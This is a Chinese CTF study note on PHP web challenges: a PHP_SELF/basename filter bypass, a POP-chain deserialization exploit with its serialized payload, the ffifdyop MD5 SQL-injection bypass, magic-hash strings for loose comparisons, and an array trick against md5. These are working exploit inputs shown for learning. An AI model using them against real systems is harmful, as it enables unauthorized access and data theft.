# PHP

md5 值 0e 开头

QNKCDZO

s878926199a

# [鹤城杯 2021] EasyP

<?php
include 'utils.php';
if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}
if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}
?>

这个题目出现了 $_SERVER ['PHP_SELF']

这个是你调用的脚本的路径

比如说这个题目它的值就是 /index.php

如果你访问的是

http://1.14.71.254:28189/index.php/utils.php

那么它的值就会是 /index.php/utils.php

而 $_SEVER ['REQUEST_URL']

它的值这个时候和 $_SERVER ['PHP_SELF'] 的值是一样的,

区别在于,如果你用 get 传参的时候 $_SEVER ['REQUEST_URL'] 是会加上那个参数的,而 $_SERVER ['PHP_SELF'] 不会。

然后是 basename 这个函数。

这个函数是返回最后面一个 / 后面的名字。

basename 函数遇到非 ascii 字符时会将其舍弃

/index.php/utils.php/%81?show[source

# php 反序列化

php魔术方法
__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法
__construst():具有构造函数的类在创建新对象的时候,回调此方法
__destruct():反序列化的时候,或者对象销毁的时候调用
__wakeup():反序列化的时候调用
__sleep():序列化的时候调用
__toString():把类当成字符串的时候调用,一般在echo处生效
__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__get():读取不可访问或者不存在的属性的时候,进行赋值
__call():在对象中调用一个不可访问的方法的时候,会被执行

# [SWPUCTF 2021 新生赛] pop

# pop 链表

<?php
error_reporting(0);
show_source("index.php");
class w44m{
    private $admin = 'aaa';
    protected $passwd = '123456';
    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}
class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}
class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>

从后往前推,要调用 getflag 就要用到 tostring

要调用 tostring 就要用到 destruct

<?php
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}
 
class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}
class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}
$a = new w22m();
$a->w00m = new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m='Getflag';
echo serialize($a);
 
?>

有不可见字符用 %00 代替

?w00m=O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"%00*%00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

# MD5

MD5 ($pass,true) 的绕过

# [BJDCTF 2020]easy_md5

在 header 看到 hint select * from 'admin' where password=md5($pass,true)

用万能密码 ffifdyop

ffifdyop 哈希后会变成 276f722736c95d99e921722cf9ed621c 然而 mysql 数据库会把 hex 转 ascii 正巧哈希后的字符串转 ascii 前几位是’ or ‘6 因此拼接入查询语句就成了 select * from ‘admin’ where password=’’ or ‘6xxxxxxxxx’ 为一个永真式可以绕过 MD5 函数

# md5 弱类型比较

常见的弱类型比较

QNKCDZO
0e830400451993494058024219903391


s878926199a
0e545993274517709034328855841020


s155964671a
0e342768416822451524974117254469


s214587387a
0e848240448830537924465865611904


s214587387a
0e848240448830537924465865611904


s878926199a
0e545993274517709034328855841020


s1091221200a
0e940624217856561557816327384675


s1885207154a
0e509367213418206700842008763514


s1502113478a
0e861580163291561247404381396064


s1885207154a
0e509367213418206700842008763514


s1836677006a
0e481036490867661113260034900752


s155964671a
0e342768416822451524974117254469


s1184209335a
0e072485820392773389523109082030


s1665632922a
0e731198061491163073197128363787


s1502113478a
0e861580163291561247404381396064


s1836677006a
0e481036490867661113260034900752


s1091221200a
0e940624217856561557816327384675


s155964671a
0e342768416822451524974117254469


s1502113478a
0e861580163291561247404381396064


s155964671a
0e342768416822451524974117254469


s1665632922a
0e731198061491163073197128363787


s155964671a
0e342768416822451524974117254469


s1091221200a
0e940624217856561557816327384675


s1836677006a
0e481036490867661113260034900752


s1885207154a
0e509367213418206700842008763514


s532378020a
0e220463095855511507588041205815


s878926199a
0e545993274517709034328855841020


s1091221200a
0e940624217856561557816327384675


s214587387a
0e848240448830537924465865611904


s1502113478a
0e861580163291561247404381396064


s1091221200a
0e940624217856561557816327384675


s1665632922a
0e731198061491163073197128363787


s1885207154a
0e509367213418206700842008763514


s1836677006a
0e481036490867661113260034900752


s1665632922a
0e731198061491163073197128363787 


s878926199a
0e545993274517709034328855841020

# MD5 强碰撞

此时如果传入的两个参数不是字符串,而是数组,md5 () 函数无法解出其数值,而且不会报错,就会得到 === 强比较的值相等

param1[]=[1,1]&param2[]=[2,2]
更新于 阅读次数